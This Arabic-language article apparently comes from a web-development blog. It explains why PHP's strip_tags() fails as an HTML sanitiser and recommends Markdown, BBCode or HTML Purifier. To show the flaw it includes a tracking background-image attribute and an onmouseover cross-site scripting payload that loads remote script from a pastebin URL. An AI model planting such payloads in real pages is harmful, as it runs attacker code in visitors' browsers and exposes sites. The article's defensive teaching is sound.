حقائق يجب عليك أن تعلم بها عن دالة strip_tags
strip_tags() هى دالة من اشهر دوال البى اتس بى استعمالاَ لجعل صفحات الويب اكثر اماناَ فوظيفتها هى تنظيف المتغيرات من اكواد الـHTML ، ولكن يمكننا قول "دالة strip_tags ليست هى الدالة الصحيحة لعمل هذا باى شكل من الاشكال" وسنعرض فى هذه المقالة بعض من الاسباب التى جعتها كذلك.
<b style="font-size:100pt;text-decoration:blink">درس اكثر من رائع</b>ويمكن ايضا عمل هذا <b style="background:url(http://someserver/transparent.gif);font-weight:normal">درس رائع</b>فبطريقة مثل هذه يمكن لشخص ما ان يتتبع زوارك دون اذن منك ، او ربما شخص ما ممن يدعون التهكير يفعل شىء كهذا <b onmouseover="s=document.createElement('script');s.src='http://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName('head')[0].appendChild(s)">مرحبا</b>وبهذا الكود عندما يقوم شخص ما بالمرور بالموس على التعليق سيكون الموقع الخاص بك اصبع ملكية عامة للهكرز :). strip_tags('ولكن لن يتم تنسيقها <br/> هذه جملة تحتوى على سطر اخر', '<br>') فى حالة انك تريد عمل تنسيق للنص عليك استعمال اى نوع من التنسيقات مسبق التصميم مثل Markdown او يمكنك استعمال اسلوب الـBBCode المستعمل فى جميع المنتديات. ويمكنك ايضا استعمال الهتميل فى حالة واحدة فقط وهى استعمال كلاس HTML Purifier الذى يفعل ما كان على دالة strip_tags ان تفعله. |